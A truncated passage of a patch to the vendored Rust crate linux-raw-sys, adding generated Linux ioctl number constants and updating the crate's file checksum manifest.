++pub const BLKOPENZONE: u32 = 1074795142;
++pub const DM_VERSION: u32 = 3241737472;
++pub const CEC_TRANSMIT: u32 = 3224920325;
++pub const FS_IOC_GET_ENCRYPTION_POLICY_EX: u32 = 3221841430;
++pub const SIOCMKCLIP: u32 = 25056;
++pub const IPMI_BMC_IOCTL_CLEAR_SMS_ATN: u32 = 45313;
++pub const HIDIOCGVERSION: u32 = 2147764225;
++pub const VIDIOC_S_INPUT: u32 = 3221509671;
++pub const VIDIOC_G_CROP: u32 = 3222558267;
++pub const LIRC_SET_WIDEBAND_RECEIVER: u32 = 1074030883;
++pub const EVIOCGEFFECTS: u32 = 2147763588;
++pub const UVCIOC_CTRL_QUERY: u32 = 3222304033;
++pub const IOC_OPAL_GENERIC_TABLE_RW: u32 = 1094217963;
++pub const FS_IOC_READ_VERITY_METADATA: u32 = 3223873159;
++pub const ND_IOCTL_SET_CONFIG_DATA: u32 = 3221769734;
++pub const USBDEVFS_GETDRIVER: u32 = 1090802952;
++pub const IDT77105_GETSTAT: u32 = 1074815282;
++pub const HIDIOCINITREPORT: u32 = 18437;
++pub const VFIO_DEVICE_GET_INFO: u32 = 15211;
++pub const RIO_CM_CHAN_RECEIVE: u32 = 3222299402;
++pub const RNDGETENTCNT: u32 = 2147766784;
++pub const PPPIOCNEWUNIT: u32 = 3221517374;
++pub const BTRFS_IOC_INO_LOOKUP: u32 = 3489698834;
++pub const FDRESET: u32 = 596;
++pub const IOC_PR_REGISTER: u32 = 1075343560;
++pub const HIDIOCSREPORT: u32 = 1074546696;
++pub const TEE_IOC_OPEN_SESSION: u32 = 2148574210;
++pub const TEE_IOC_SUPPL_RECV: u32 = 2148574214;
++pub const BTRFS_IOC_BALANCE_CTL: u32 = 1074041889;
++pub const GPIO_GET_LINEINFO_WATCH_IOCTL: u32 = 3225990155;
++pub const HIDIOCGRAWINFO: u32 = 2148026371;
++pub const PPPIOCSCOMPRESS: u32 = 1074820173;
++pub const USBDEVFS_CONNECTINFO: u32 = 1074287889;
++pub const BLKRESETZONE: u32 = 1074795139;
++pub const CHIOINITELEM: u32 = 25361;
++pub const NILFS_IOCTL_SET_ALLOC_RANGE: u32 = 1074818700;
++pub const AUTOFS_DEV_IOCTL_CATATONIC: u32 = 3222836089;
++pub const RIO_MPORT_MAINT_HDID_SET: u32 = 1073900801;
++pub const PPGETPHASE: u32 = 2147774617;
++pub const USBDEVFS_DISCONNECT_CLAIM: u32 = 2164806939;
++pub const FDMSGON: u32 = 581;
++pub const VIDIOC_G_SLICED_VBI_CAP: u32 = 3228849733;
++pub const BTRFS_IOC_BALANCE_V2: u32 = 3288372256;
++pub const MEDIA_REQUEST_IOC_REINIT: u32 = 31873;
++pub const IOC_OPAL_ERASE_LR: u32 = 1091596518;
++pub const FDFMTBEG: u32 = 583;
++pub const RNDRESEEDCRNG: u32 = 20999;
++pub const ISST_IF_GET_PHY_ID: u32 = 3221814785;
++pub const TUNSETNOCSUM: u32 = 1074025672;
++pub const SONET_GETSTAT: u32 = 2149867792;
++pub const TFD_IOC_SET_TICKS: u32 = 1074287616;
++pub const PPDATADIR: u32 = 1074032784;
++pub const IOC_OPAL_ENABLE_DISABLE_MBR: u32 = 1091596517;
++pub const GPIO_V2_GET_LINE_IOCTL: u32 = 3260068871;
++pub const RIO_CM_CHAN_SEND: u32 = 1074815753;
++pub const PPWCTLONIRQ: u32 = 1073836178;
++pub const SONYPI_IOCGBRT: u32 = 2147579392;
++pub const IOC_PR_RELEASE: u32 = 1074819274;
++pub const PPCLRIRQ: u32 = 2147774611;
++pub const IPMICTL_SET_MY_CHANNEL_LUN_CMD: u32 = 2147772698;
++pub const MGSL_IOCSXSYNC: u32 = 27923;
++pub const HPET_IE_OFF: u32 = 26626;
++pub const IOC_OPAL_ACTIVATE_USR: u32 = 1091596513;
++pub const SONET_SETFRAMING: u32 = 1074028821;
++pub const PERF_EVENT_IOC_PAUSE_OUTPUT: u32 = 1074013193;
++pub const BTRFS_IOC_LOGICAL_INO_V2: u32 = 3224933435;
++pub const VBG_IOCTL_HGCM_CONNECT: u32 = 3231471108;
++pub const BLKFINISHZONE: u32 = 1074795144;
++pub const EVIOCREVOKE: u32 = 1074021777;
++pub const VFIO_DEVICE_FEATURE: u32 = 15221;
++pub const CCISS_GETPCIINFO: u32 = 2148024833;
++pub const ISST_IF_MBOX_COMMAND: u32 = 3221814787;
++pub const SCIF_ACCEPTREQ: u32 = 3222303492;
++pub const PERF_EVENT_IOC_QUERY_BPF: u32 = 3221758986;
++pub const VIDIOC_STREAMOFF: u32 = 1074026003;
++pub const VDUSE_DESTROY_DEV: u32 = 1090552067;
++pub const FDGETFDCSTAT: u32 = 2150105621;
++pub const CM_IOCGATR: u32 = 3221775105;
++pub const VIDIOC_S_PRIORITY: u32 = 1074026052;
++pub const SNAPSHOT_FREEZE: u32 = 13057;
++pub const VIDIOC_ENUMINPUT: u32 = 3226490394;
++pub const ZATM_GETPOOLZ: u32 = 1074815330;
++pub const RIO_DISABLE_DOORBELL_RANGE: u32 = 1074294026;
++pub const GPIO_V2_GET_LINEINFO_WATCH_IOCTL: u32 = 3238048774;
++pub const VIDIOC_G_STD: u32 = 2148029975;
++pub const USBDEVFS_ALLOW_SUSPEND: u32 = 21794;
++pub const SONET_GETSTATZ: u32 = 2149867793;
++pub const SCIF_ACCEPTREG: u32 = 3221779205;
++pub const VIDIOC_ENCODER_CMD: u32 = 3223869005;
++pub const PPPIOCSRASYNCMAP: u32 = 1074033748;
++pub const IOCTL_MEI_NOTIFY_SET: u32 = 1074022402;
++pub const BTRFS_IOC_QUOTA_RESCAN_STATUS: u32 = 2151715885;
++pub const F2FS_IOC_GARBAGE_COLLECT: u32 = 1074066694;
++pub const ATMLEC_CTRL: u32 = 25040;
++pub const MATROXFB_GET_AVAILABLE_OUTPUTS: u32 = 2148036345;
++pub const DM_DEV_CREATE: u32 = 3241737475;
++pub const VHOST_VDPA_GET_VRING_NUM: u32 = 2147659638;
++pub const VIDIOC_G_CTRL: u32 = 3221771803;
++pub const NBD_CLEAR_SOCK: u32 = 43780;
++pub const VFIO_DEVICE_QUERY_GFX_PLANE: u32 = 15218;
++pub const WDIOC_KEEPALIVE: u32 = 2147768069;
++pub const NVME_IOCTL_SUBSYS_RESET: u32 = 20037;
++pub const PTP_EXTTS_REQUEST2: u32 = 1074806027;
++pub const PCITEST_BAR: u32 = 20481;
++pub const MGSL_IOCGGPIO: u32 = 2148560145;
++pub const EVIOCSREP: u32 = 1074283779;
++pub const VFIO_DEVICE_GET_IRQ_INFO: u32 = 15213;
++pub const HPET_DPI: u32 = 26629;
++pub const VDUSE_VQ_SETUP_KICKFD: u32 = 1074299158;
++pub const ND_IOCTL_CALL: u32 = 3225439754;
++pub const HIDIOCGDEVINFO: u32 = 2149337091;
++pub const DM_TABLE_DEPS: u32 = 3241737483;
++pub const BTRFS_IOC_DEV_INFO: u32 = 3489698846;
++pub const VDUSE_IOTLB_GET_FD: u32 = 3223355664;
++pub const FW_CDEV_IOC_GET_INFO: u32 = 3223855872;
++pub const VIDIOC_G_PRIORITY: u32 = 2147767875;
++pub const ATM_NEWBACKENDIF: u32 = 1073897971;
++pub const VIDIOC_S_EXT_CTRLS: u32 = 3223344712;
++pub const VIDIOC_SUBDEV_ENUM_DV_TIMINGS: u32 = 3230946914;
++pub const VIDIOC_OMAP3ISP_CCDC_CFG: u32 = 3224917697;
++pub const VIDIOC_S_HW_FREQ_SEEK: u32 = 1076909650;
++pub const DM_TABLE_LOAD: u32 = 3241737481;
++pub const F2FS_IOC_START_ATOMIC_WRITE: u32 = 62721;
++pub const VIDIOC_G_OUTPUT: u32 = 2147767854;
++pub const ATM_DROPPARTY: u32 = 1074029045;
++pub const CHIOGELEM: u32 = 1080845072;
++pub const BTRFS_IOC_GET_SUPPORTED_FEATURES: u32 = 2152240185;
++pub const EVIOCSKEYCODE: u32 = 1074283780;
++pub const NE_GET_IMAGE_LOAD_INFO: u32 = 3222318626;
++pub const TUNSETLINK: u32 = 1074025677;
++pub const FW_CDEV_IOC_ADD_DESCRIPTOR: u32 = 3222807302;
++pub const BTRFS_IOC_SCRUB_CANCEL: u32 = 37916;
++pub const PPS_SETPARAMS: u32 = 1074294946;
++pub const IOC_OPAL_LR_SETUP: u32 = 1093169379;
++pub const FW_CDEV_IOC_DEALLOCATE: u32 = 1074012931;
++pub const WDIOC_SETTIMEOUT: u32 = 3221509894;
++pub const IOC_WATCH_QUEUE_SET_FILTER: u32 = 22369;
++pub const CAPI_GET_MANUFACTURER: u32 = 3221504774;
++pub const VFIO_IOMMU_SPAPR_UNREGISTER_MEMORY: u32 = 15222;
++pub const ASPEED_P2A_CTRL_IOCTL_SET_WINDOW: u32 = 1074836224;
++pub const VIDIOC_G_EDID: u32 = 3223868968;
++pub const F2FS_IOC_GARBAGE_COLLECT_RANGE: u32 = 1075377419;
++pub const RIO_MAP_INBOUND: u32 = 3223874833;
++pub const IOC_OPAL_TAKE_OWNERSHIP: u32 = 1091072222;
++pub const USBDEVFS_CLAIM_PORT: u32 = 2147767576;
++pub const VIDIOC_S_AUDIO: u32 = 1077171746;
++pub const FS_IOC_GET_ENCRYPTION_NONCE: u32 = 2148558363;
++pub const FW_CDEV_IOC_SEND_STREAM_PACKET: u32 = 1076372243;
++pub const BTRFS_IOC_SNAP_DESTROY: u32 = 1342215183;
++pub const SNAPSHOT_FREE: u32 = 13061;
++pub const I8K_GET_SPEED: u32 = 3221776773;
++pub const HIDIOCGREPORT: u32 = 1074546695;
++pub const HPET_EPI: u32 = 26628;
++pub const JSIOCSCORR: u32 = 1076128289;
++pub const IOC_PR_PREEMPT_ABORT: u32 = 1075343564;
++pub const RIO_MAP_OUTBOUND: u32 = 3223874831;
++pub const ATM_SETESI: u32 = 1074815372;
++pub const FW_CDEV_IOC_START_ISO: u32 = 1074799370;
++pub const ATM_DELADDR: u32 = 1074815369;
++pub const PPFCONTROL: u32 = 1073901710;
++pub const SONYPI_IOCGFAN: u32 = 2147579402;
++pub const RTC_IRQP_SET: u32 = 1074294796;
++pub const PCITEST_WRITE: u32 = 1074286596;
++pub const PPCLAIM: u32 = 28811;
++pub const VIDIOC_S_JPEGCOMP: u32 = 1082938942;
++pub const IPMICTL_UNREGISTER_FOR_CMD: u32 = 2147641615;
++pub const VHOST_SET_FEATURES: u32 = 1074310912;
++pub const TOSHIBA_ACPI_SCI: u32 = 3222828177;
++pub const VIDIOC_DQBUF: u32 = 3227014673;
++pub const BTRFS_IOC_BALANCE_PROGRESS: u32 = 2214630434;
++pub const BTRFS_IOC_SUBVOL_SETFLAGS: u32 = 1074304026;
++pub const ATMLEC_MCAST: u32 = 25042;
++pub const MMTIMER_GETFREQ: u32 = 2148035842;
++pub const VIDIOC_G_SELECTION: u32 = 3225441886;
++pub const RTC_ALM_SET: u32 = 1076129799;
++pub const PPPOEIOCSFWD: u32 = 1074311424;
++pub const IPMICTL_GET_MAINTENANCE_MODE_CMD: u32 = 2147772702;
++pub const FS_IOC_ENABLE_VERITY: u32 = 1082156677;
++pub const NILFS_IOCTL_GET_BDESCS: u32 = 3222826631;
++pub const FDFMTEND: u32 = 585;
++pub const DMA_BUF_SET_NAME: u32 = 1074291201;
++pub const UI_BEGIN_FF_UPLOAD: u32 = 3228063176;
++pub const RTC_UIE_ON: u32 = 28675;
++pub const PPRELEASE: u32 = 28812;
++pub const VFIO_IOMMU_UNMAP_DMA: u32 = 15218;
++pub const VIDIOC_OMAP3ISP_PRV_CFG: u32 = 3228587714;
++pub const GPIO_GET_LINEHANDLE_IOCTL: u32 = 3245126659;
++pub const VFAT_IOCTL_READDIR_BOTH: u32 = 2184212993;
++pub const NVME_IOCTL_ADMIN_CMD: u32 = 3225964097;
++pub const VHOST_SET_VRING_KICK: u32 = 1074310944;
++pub const BTRFS_IOC_SUBVOL_CREATE_V2: u32 = 1342215192;
++pub const BTRFS_IOC_SNAP_CREATE: u32 = 1342215169;
++pub const SONYPI_IOCGBAT2CAP: u32 = 2147644932;
++pub const PPNEGOT: u32 = 1074032785;
++pub const NBD_PRINT_DEBUG: u32 = 43782;
++pub const BTRFS_IOC_INO_LOOKUP_USER: u32 = 3489698878;
++pub const BTRFS_IOC_GET_SUBVOL_ROOTREF: u32 = 3489698877;
++pub const FS_IOC_REMOVE_ENCRYPTION_KEY_ALL_USERS: u32 = 3225445913;
++pub const BTRFS_IOC_FS_INFO: u32 = 2214630431;
++pub const VIDIOC_ENUM_FMT: u32 = 3225441794;
++pub const VIDIOC_G_INPUT: u32 = 2147767846;
++pub const VTPM_PROXY_IOC_NEW_DEV: u32 = 3222577408;
++pub const DFL_FPGA_FME_ERR_GET_IRQ_NUM: u32 = 2147792515;
++pub const ND_IOCTL_DIMM_FLAGS: u32 = 3221769731;
++pub const BTRFS_IOC_QUOTA_RESCAN: u32 = 1077974060;
++pub const MMTIMER_GETCOUNTER: u32 = 2148035849;
++pub const MATROXFB_GET_OUTPUT_MODE: u32 = 3221778170;
++pub const BTRFS_IOC_QUOTA_RESCAN_WAIT: u32 = 37934;
++pub const RIO_CM_CHAN_BIND: u32 = 1074291461;
++pub const HIDIOCGRDESC: u32 = 2416199682;
++pub const MGSL_IOCGIF: u32 = 27915;
++pub const VIDIOC_S_OUTPUT: u32 = 3221509679;
++pub const HIDIOCGREPORTINFO: u32 = 3222030345;
++pub const WDIOC_GETBOOTSTATUS: u32 = 2147768066;
++pub const VDUSE_VQ_GET_INFO: u32 = 3224404245;
++pub const ACRN_IOCTL_ASSIGN_PCIDEV: u32 = 1076142677;
++pub const BLKGETDISKSEQ: u32 = 2148012672;
++pub const ACRN_IOCTL_PM_GET_CPU_STATE: u32 = 3221791328;
++pub const ACRN_IOCTL_DESTROY_VM: u32 = 41489;
++pub const ACRN_IOCTL_SET_PTDEV_INTR: u32 = 1075094099;
++pub const ACRN_IOCTL_CREATE_IOREQ_CLIENT: u32 = 41522;
++pub const ACRN_IOCTL_IRQFD: u32 = 1075356273;
++pub const ACRN_IOCTL_CREATE_VM: u32 = 3224412688;
++pub const ACRN_IOCTL_INJECT_MSI: u32 = 1074831907;
++pub const ACRN_IOCTL_ATTACH_IOREQ_CLIENT: u32 = 41523;
++pub const ACRN_IOCTL_RESET_PTDEV_INTR: u32 = 1075094100;
++pub const ACRN_IOCTL_NOTIFY_REQUEST_FINISH: u32 = 1074307633;
++pub const ACRN_IOCTL_SET_IRQLINE: u32 = 1074307621;
++pub const ACRN_IOCTL_START_VM: u32 = 41490;
++pub const ACRN_IOCTL_SET_VCPU_REGS: u32 = 1093181974;
++pub const ACRN_IOCTL_SET_MEMSEG: u32 = 1075880513;
++pub const ACRN_IOCTL_PAUSE_VM: u32 = 41491;
++pub const ACRN_IOCTL_CLEAR_VM_IOREQ: u32 = 41525;
++pub const ACRN_IOCTL_UNSET_MEMSEG: u32 = 1075880514;
++pub const ACRN_IOCTL_IOEVENTFD: u32 = 1075880560;
++pub const ACRN_IOCTL_DEASSIGN_PCIDEV: u32 = 1076142678;
++pub const ACRN_IOCTL_RESET_VM: u32 = 41493;
++pub const ACRN_IOCTL_DESTROY_IOREQ_CLIENT: u32 = 41524;
++pub const ACRN_IOCTL_VM_INTR_MONITOR: u32 = 1074307620;
+--- a/vendor/linux-raw-sys/.cargo-checksum.json
++++ b/vendor/linux-raw-sys/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"CODE_OF_CONDUCT.md":"ccd9e538ce44713a2486cc8e4c01b8c8b846d1ccff15de728d8d6fa9a7f846cd","COPYRIGHT":"3290ae0fbc9ddb77d2239121d710f0bb9d31b3b4744e6d97fe01e652b4c1870b","Cargo.toml":"0d02ea4bc018631a52900423cb7466bc905571bd1d767769739bde626360c123","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-Apache-2.0_WITH_LLVM-exception":"268872b9816f90fd8e85db5a28d33f8150ebb8dd016653fb39ef1f94f2686bc5","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","ORG_CODE_OF_CONDUCT.md":"a62b69bf86e605ee1bcbb2f0a12ba79e4cebb6983a7b6491949750aecc4f2178","README.md":"3d4ae2ec9429adfd329b4506f7ca6faa84dca30d1c3b416f8f4e6f57bdb3aa96","src/aarch64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/aarch64/general.rs":"0cc1ed00b1ef7efb16a7109138acdf679d591325458938cee150b221af063822","src/aarch64/if_ether.rs":"f558bfec1f5e80235db79f507e4afd3120647a5caddf17a87b7ad5540e5c1462","src/aarch64/io_uring.rs":"9ce4c9005b5b99e041b9d58be6866367605e4bee1e30a7096235cb234ed73e1b","src/aarch64/ioctl.rs":"f83af7f7cab6611c9f316b2289998d3276d844ac8f96111bc65f6c3340c3301a","src/aarch64/net.rs":"9c5fe44f91072b08899a6304cb22a51545034adde444740b67b8b310f3906a30","src/aarch64/netlink.rs":"f6642310b8bd37b5775ba1a52cfe638beddd7c880f8dfacab62c3180255fb75f","src/aarch64/prctl.rs":"a80e2f89aa978210d980538e1d9c5b922bb073d118ee51b1f14c1f397c7cd576","src/aarch64/system.rs":"851a95c0d1b76782970a28c373a313954eea0db35f6ebce562e6047095f587c4","src/arm/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/arm/general.rs":"bdbb40ba5630044c9555fe38a3640638f3ff7f437d94f82428e2bedad32e180f","src/arm/if_ether.rs":"3873beb1f57bdcc52da345608c5deda5937d7b92b114b414ce6161784173b925","src/arm/io_uring.rs":"5e2e254d5853ed30568e17fab184f8cc458607465d19dcee6c87ca1b565d6d2d","src/arm/ioctl.rs":"54cb9bdc5fe4ee7cff30e087bb0d04f1d811b55be7604bb056387f859120935a","src/arm/net.rs":"c79f443ab6585f81a71eff3350700ece82098264206eb79f78714153d6e43529","src/arm/netlink.rs":"2f98b8c0349c2d3d538164e4d06c28fa1fb9308f7691aa097526ce2fb3ac176f","src/arm/prctl.rs":"5477c74fec958d9f9d2028f58e95657840ead28445956e53fe0894e45922f8a5","src/arm/system.rs":"9aca94a4a553e09e6d2d43741fb8c120c05a193822e850951dc469bbd89cc703","src/csky/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/csky/general.rs":"94aba82d2a76a9ca272b4766f8d2f5f14e10bc2166e03d695a5b8b5d207e6755","src/csky/if_ether.rs":"aac7a069000195b9b18c6d25b2d7c338efb1062347a84e31cda7c93de374b3c6","src/csky/io_uring.rs":"bb7541d82f627cb681ea11f4e5c4162b0d0616ca08fcc6d31bcf22ef813f754d","src/csky/ioctl.rs":"77f30e67f9a4748bc31184454a0ff45fd821c3536cd98dc2411def8eeb59a268","src/csky/net.rs":"2796ca3744e82cecd816b4d1b1fba0bcb389fbc4603e0af7b6cdc562c666b512","src/csky/netlink.rs":"9fc99e88df0efc15d39b397c9d653c32b4729e31a2434e730435fbdfcb362da4","src/csky/prctl.rs":"8df2f33387d5b4865d9417f796cc4d43b3cf549cfa41d7ce7d41dd367ed8b6c9","src/csky/system.rs":"a2913685b359e60bbfae413b89a6fd37ea38fa448f980ffadef42d227b33ada5","src/elf.rs":"441bcf378b5603f957e053369d18d95c1efe981665846c220bca82123c04843a","src/lib.rs":"f3399ba35206764ac4e2d755cfc7e0c580464b8fcc76968f6c4b9f64523a1d02","src/loongarch64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/loongarch64/general.rs":"fadd5884c6ad645300540dd30150984857819a986772fca4eba1e1fc0c3f4f1e","src/loongarch64/if_ether.rs":"a7b0918afc9dbf8e79490f83a809e4bd563af20ab2b3432d58b763ff31418daf","src/loongarch64/io_uring.rs":"ef851913c86bc2d629048e781edc76b59c63e659f8bd4bcd7fa7ff982186ed6d","src/loongarch64/ioctl.rs":"6f631e0ac37f2c2398168683a1523d1559b85369ffe4cdcc284ffe7455672c18","src/loongarch64/net.rs":"21add3f1bfa5898d9a5ef91342f6cd94ad4585df6525b9a4cf6cdf743345a9c7","src/loongarch64/netlink.rs":"789357343b94276e6f8fc8f3a32f06f3d3efd464c7850b2568dc609a49d1f305","src/loongarch64/prctl.rs":"624e4d3b8f3b4f1d6dcb1540c124ed03ce47f0580aa3425c0baed431dcd267ea","src/loongarch64/system.rs":"4cfcd4c28481b9ff5fc0330d5c713d637d3615c0184830d3a4391882eaed68f5","src/mips/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips/general.rs":"1c16f4e0a015eaf27e9a30f4b74ec824220798f47c535d3aaf322ad799c054ab","src/mips/if_ether.rs":"1ecdc654cb3eda633bb7192829b1001a0a5ae5a126110b4208bbee5b41f87f5e","src/mips/io_uring.rs":"c69479bb1f862febe78e0989745c202146aaef7e8ceaa0d7bf291af584748992","src/mips/ioctl.rs":"f7464d2cd0548ab4735a1ca8deba47f13ea0946a9bf86adfec1a77feb3a0f475","src/mips/net.rs":"843204e91d8d6c34ddf4d29e1e822980b3e058ff7fc55ecc5f2b0fdf4a72825d","src/mips/netlink.rs":"5045dece259abaa5b5974500a20a9325e4cd6eb87c344dd7448056dff469994f","src/mips/prctl.rs":"cd59615adf6f561ef6c542df59cf25f75877693ca1c4c489f5e460eb7e798d4d","src/mips/system.rs":"acbc69a1fe7299860f8bd142bc2ff5595a410e1528994139062fc680d1a87e71","src/mips32r6/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips32r6/general.rs":"1c16f4e0a015eaf27e9a30f4b74ec824220798f47c535d3aaf322ad799c054ab","src/mips32r6/if_ether.rs":"1ecdc654cb3eda633bb7192829b1001a0a5ae5a126110b4208bbee5b41f87f5e","src/mips32r6/io_uring.rs":"c69479bb1f862febe78e0989745c202146aaef7e8ceaa0d7bf291af584748992","src/mips32r6/ioctl.rs":"f7464d2cd0548ab4735a1ca8deba47f13ea0946a9bf86adfec1a77feb3a0f475","src/mips32r6/net.rs":"843204e91d8d6c34ddf4d29e1e822980b3e058ff7fc55ecc5f2b0fdf4a72825d","src/mips32r6/netlink.rs":"5045dece259abaa5b5974500a20a9325e4cd6eb87c344dd7448056dff469994f","src/mips32r6/prctl.rs":"cd59615adf6f561ef6c542df59cf25f75877693ca1c4c489f5e460eb7e798d4d","src/mips32r6/system.rs":"acbc69a1fe7299860f8bd142bc2ff5595a410e1528994139062fc680d1a87e71","src/mips64/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips64/general.rs":"700b52614c604ce58aa8a5bb1ebd46221c0106ec2d8d6600d681d1594a89118a","src/mips64/if_ether.rs":"6d24518acba5bc8fa2a775d039ed9594de8349d6028621134626ccaa8ea18bcd","src/mips64/io_uring.rs":"18bd5d96c53aff44f4a37a71f16fa12c11b7c934b395bf841e47d98283146a50","src/mips64/ioctl.rs":"39f3276ec6f36ba78f5635bd418310b21bc228902d4da889fa01094c26f9b57d","src/mips64/net.rs":"e641379a7004ded90413b084504468148ecdbea4f753cbca83a4d22698cd7bab","src/mips64/netlink.rs":"18f139573337be18fb9bd56de4d0bd8af5c80828cdf68ef68751c18dcb39c761","src/mips64/prctl.rs":"a8d9ae240ce582d7b66e13937b99df73c7247ce9f69bfdd12109903d7c6dfb0e","src/mips64/system.rs":"95805c533a8eb8f53c28f138e6a2d12064681cc9db55d3042ee748c655a5d7cd","src/mips64r6/errno.rs":"9ab1ed2bf371a27401745c2a6f9692f7e66dfd481d032cb40a354826d394ea8e","src/mips64r6/general.rs":"700b52614c604ce58aa8a5bb1ebd46221c0106ec2d8d6600d681d1594a89118a","src/mips64r6/if_ether.rs":"6d24518acba5bc8fa2a775d039ed9594de8349d6028621134626ccaa8ea18bcd","src/mips64r6/io_uring.rs":"18bd5d96c53aff44f4a37a71f16fa12c11b7c934b395bf841e47d98283146a50","src/mips64r6/ioctl.rs":"39f3276ec6f36ba78f5635bd418310b21bc228902d4da889fa01094c26f9b57d","src/mips64r6/net.rs":"e641379a7004ded90413b084504468148ecdbea4f753cbca83a4d22698cd7bab","src/mips64r6/netlink.rs":"18f139573337be18fb9bd56de4d0bd8af5c80828cdf68ef68751c18dcb39c761","src/mips64r6/prctl.rs":"a8d9ae240ce582d7b66e13937b99df73c7247ce9f69bfdd12109903d7c6dfb0e","src/mips64r6/system.rs":"95805c533a8eb8f53c28f138e6a2d12064681cc9db55d3042ee748c655a5d7cd","src/powerpc/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/powerpc/general.rs":"7940ad742585d501f4742af51c6310ecf651863a8aaa0305193e9c8ee07aca90","src/powerpc/if_ether.rs":"56ab5fbf8c9d0dd0654412fabdca6759cbb421a876e5cebe2fec10e25728b55c","src/powerpc/io_uring.rs":"38ead79180c96e8af69929dacbc36e8cfbccec96875c61f094e531e6860639db","src/powerpc/ioctl.rs":"513a1dda33b2cd6c57212263c1bf0d8d443e54af6efe75e938fd700c1ca2b630","src/powerpc/net.rs":"b0228b15161fb750596d6e7e8e612381d9cf2acfed208715b93e8bb4b3340dc7","src/powerpc/netlink.rs":"4f10870fbd23de17efd4cba6d5a40ba85564effc5d0b71f9d7f928a42cb77b20","src/powerpc/prctl.rs":"f236987bc8ae993ab2b0e88b2eacbae51eee4da170ac075552070a76c717d803","src/powerpc/system.rs":"3e01e5e145adb87263f04c9e053faac0c0758689fd32917d2c7c2eec1d89f9e6","src/powerpc64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/powerpc64/general.rs":"7862eb3dfac845331b624b3322bdeb3441bb86e914719e125dd5dc7b3860db43","src/powerpc64/if_ether.rs":"15e12d56b1367cb5c9d8fd1b9995acf1429a923bf603698bd732efe1acc30cd6","src/powerpc64/io_uring.rs":"50018e504d78c584beaec3b1a6d477d30d566d25cb1a40b0a2adfb23d726674f","src/powerpc64/ioctl.rs":"513a1dda33b2cd6c57212263c1bf0d8d443e54af6efe75e938fd700c1ca2b630","src/powerpc64/net.rs":"0a1468b8a270470a619e492fd6c50c59ea9eeaccd1c7827a0a0d55a0ae981cd4","src/powerpc64/netlink.rs":"352a06995f7de6e4fc1c2ff54c1eccb93a3d833a923e834ec75c6a4d30ea5051","src/powerpc64/prctl.rs":"1fcccc5b6dac472a30b7701b5c9e436c238410077cfe158d600b51d55bcc074a","src/powerpc64/system.rs":"500116b7613a504ebad028cec1ba37323310e29864d885ae62191ccb1f86d333","src/riscv32/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/riscv32/general.rs":"16ffe747a8f75ac6594dc7afddef4fbb89735da50af9f19f152fd2f04b509463","src/riscv32/if_ether.rs":"aac7a069000195b9b18c6d25b2d7c338efb1062347a84e31cda7c93de374b3c6","src/riscv32/io_uring.rs":"5c67dde8fdb3641407d4ebd744171606b82596176343fe6766afd3220eda2ab1","src/riscv32/ioctl.rs":"b2a4c7d649b18a4d2a1142400de687d48c195dcf8a86b58ac261413c33809d7b","src/riscv32/net.rs":"2796ca3744e82cecd816b4d1b1fba0bcb389fbc4603e0af7b6cdc562c666b512","src/riscv32/netlink.rs":"9fc99e88df0efc15d39b397c9d653c32b4729e31a2434e730435fbdfcb362da4","src/riscv32/prctl.rs":"8df2f33387d5b4865d9417f796cc4d43b3cf549cfa41d7ce7d41dd367ed8b6c9","src/riscv32/system.rs":"a2913685b359e60bbfae413b89a6fd37ea38fa448f980ffadef42d227b33ada5","src/riscv64/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/riscv64/general.rs":"8ec4907ac81b62e21451731a468e5f4fe7a37a46d80c56b33e0969d2d059d442","src/riscv64/if_ether.rs":"a7b0918afc9dbf8e79490f83a809e4bd563af20ab2b3432d58b763ff31418daf","src/riscv64/io_uring.rs":"ef851913c86bc2d629048e781edc76b59c63e659f8bd4bcd7fa7ff982186ed6d","src/riscv64/ioctl.rs":"6f631e0ac37f2c2398168683a1523d1559b85369ffe4cdcc284ffe7455672c18","src/riscv64/net.rs":"21add3f1bfa5898d9a5ef91342f6cd94ad4585df6525b9a4cf6cdf743345a9c7","src/riscv64/netlink.rs":"789357343b94276e6f8fc8f3a32f06f3d3efd464c7850b2568dc609a49d1f305","src/riscv64/prctl.rs":"624e4d3b8f3b4f1d6dcb1540c124ed03ce47f0580aa3425c0baed431dcd267ea","src/riscv64/system.rs":"4cfcd4c28481b9ff5fc0330d5c713d637d3615c0184830d3a4391882eaed68f5","src/s390x/errno.rs":"db283e5ea7fb63e0f57acb241e6471a951b4218660c01ca37b80be9a53629b92","src/s390x/general.rs":"687f6e3d4502d31aaec08a41335b6a368f0949049875d939065a66df86e06b8a","src/s390x/if_ether.rs":"2a6b2132be1aebe126eb64ea230a82c2ab18433ece37226c9dacd81392ad6ca2","src/s390x/io_uring.rs":"57790b4ce46a4a2a87a329ff935033dfb430117bcc2154fa066c5d681f115319","src/s390x/ioctl.rs":"f806407c91520bc994c7cd638576686710700a4cfa30c8ca3f81d55ce1d6ecdd","src/s390x/net.rs":"3f89cf2040475eb446daa3f54b5cd016ca8d2d3966f02efb3f0f2f425ccc7adb","src/s390x/netlink.rs":"c3c11102a55d15dfb534d748c8bc8ece58c9d56170b6afe07d1f2cc783fd6372","src/s390x/prctl.rs":"6fe9f5349f9a694b391f309f208235c1d4669430d3f051ef64467576e91df7a1","src/s390x/system.rs":"f68e8afbd02bc87a8fec2cae4e367f296873f2c1a651032da4ccc4f1c0ed4670","src/sparc/errno.rs":"b3